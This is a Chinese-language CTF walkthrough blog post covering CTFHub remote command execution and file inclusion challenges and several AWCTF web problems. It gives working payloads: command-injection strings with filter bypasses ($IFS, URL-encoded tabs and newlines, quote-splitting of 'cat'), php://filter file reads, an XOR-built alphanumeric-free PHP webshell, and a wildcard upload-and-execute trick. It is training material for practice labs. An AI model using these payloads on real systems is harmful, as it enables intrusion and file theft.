zoukankan      html  css  js  c++  java
  • CTFHub-RCE 思路&AWCTF部分web题

    RCE


    RCE英文全称:remote command/code execute(远程命令/代码执行漏洞);

     
      RCE分为远程命令执行ping和远程代码执行evel。
      漏洞出现的原因:没有在输入口做输入处理。
      我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。
      一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。
     
      这里涉及到一个ping命令:
      Ping是Windows、Unix和Linux系统下的一个命令。ping也属于一个通信协议,是TCP/IP协议的一部分。利用“ping”命令可以检查网络是否连通,可以很好地帮助我们分析和判定网络故障。
     
      补充一些常用的管道符:
     
      Windows系统支持的管道符如下:
    1. “|”:直接执行后面的语句。
    2. “||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
    3. “&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
    4. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
    

      Linux系统支持的管道符如下:

    1. “;”:执行完前面的语句再执行后面的语句。
    2. “|”:显示后面语句的执行结果。
    3. “||”:当前面的语句执行出错时,执行后面的语句。
    4. “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
    5. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
    

      

    文件包含

     打开靶场之后发现有文件包含,并提示有一个shell.txt

    #request = post + get

    于是构造payload,往ctfhub里传参

     

    php://input

     代码目的是限制只能使用php开头的伪协议

     

    读取源代码

     审代码,照样只能使用php开头的伪协议,说flag在flag里

    这里直接告诉了flag所在位置,考虑使用php伪协议中的filter协议直接提取出flag的内容

    ?file=php://filter/convert.base64-encode/resource=/flag
    

      

     最后的结果base64解码就出来了

    远程包含

     

     offset

    如果提供了此参数,搜索会从字符串该字符数的起始位置开始统计。 如果是负数,搜索会从字符串结尾指定字符数开始。

     

     

     这个好像跟之前那个一样。

    eval执行

     

     如出一辙。

    命令注入

     

    发现直接cat 24608238216603.php 无回显,可能是编码问题。所以,

    命令:

    127.0.0.1&cat 24608238216603.php | base64  
    

      

    base64解码

    过滤cat

     

     过滤了cat,所以

           反斜杠 : 例如  ca flag.php

     
      连接符: 例如   ca''t fla''g.txt

     跟上个题类似,查看源码。

     

    过滤空格

    在 bash 下, 可以用以下字符代替空格:

    <,<>,%20(space),%09(tab),$IFS$9, ${IFS},$IFS  等
    

      

    所以,跟前几个题一样只要把空格部分替换成以上任一个即可

    过滤目录分隔符

     
    这次过滤了目录分割符 / 所以要转到相应目录再进行操作
     
     命令:127.0.0.1&cd flag_is_here;ls 
     
      cd  进入flag_is_here目录,
      ls  显示flag_is_here目录里的内容。

     然后直接

    127.0.0.1&cd flag_is_here;cat flag_25491463815130.php
    

      

    查看源代码

    过滤运算符

    过滤了 | 与 & ,那我们就使用 ; 分隔命令来代替

    127.0.0.1;cat flag_176301717827402.php
    跟前几个一样的,查看源代码

    综合过滤练习

     
     
    这应该是 最后一个了。

     好家伙,过滤了这么多

     url补充表

     

    分隔符可以使用%0a代替
    若直接使用文本框上传命令会导致字符被转义,直接访问URL

    /?ip=127.0.0.1%0als => 127.0.0.1;ls

    查看目录

     接下来要访问flag_is_here,需要绕过空格过滤、flag文字过滤并且显示文件夹的内容

      %09 代替 TAB键 (因为flag被过滤了,所以我们通过TAB来补全flag_is_here) %5c 代替 (用 来分隔开 cat ,因为cat也被过滤了)

     接下来

    /?ip=127.0.0.1%0Acd%09*_is_here%0Aca	%09*_18107462926.php
    

      

    查看源代码

    AWCTF部分web题

     无参数

    https://blog.csdn.net/qq_45781155/article/details/109366816

     data协议

     

     

     data协议 base64

     

     

     

    </dev/null无过滤 

     

     无参数读取文件

     

     参考:https://www.freebuf.com/articles/web/261800.html

     就尝试着找,发现dirname行得通。

     

    发现行不通,需要chdir改工作路径,所以多刷新几次就ok.

     

    不包含数字和字母的webshell

     

    https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

     先url输一遍:?shell=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);

     然后再hackbar

     

     

     无字母数字命令执行

     

    参考:https://blog.csdn.net/weixin_54515836/article/details/113305690

    附上脚本:

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>POST数据包POC</title>
    </head>
    <body>
    <form action="http://xxxxxxxxxxxxxxxxxxx.chall.ctf.show/" method="post" enctype="multipart/form-data">
    <!--链接是当前打开的题目链接-->
        <label for="file">文件名:</label>
        <input type="file" name="file" id="file"><br>
        <input type="submit" name="submit" value="提交">
    </form>
    </body>
    </html>

    在这个页面上上传1.php,然后抓包

    #!/bin/sh
    ls

    最后的payload

    ?c=.+/???/????????[@-[]

  • 相关阅读:
    重排序
    线程的生命周期状态
    并发的有序性
    并发的可见性
    并发的原子性
    Java内存模型
    缓存一致性协议MESI
    lsof
    nmap
    elastcisearch简介
  • 原文地址:https://www.cnblogs.com/tac2664/p/14294262.html
Copyright © 2011-2022 走看看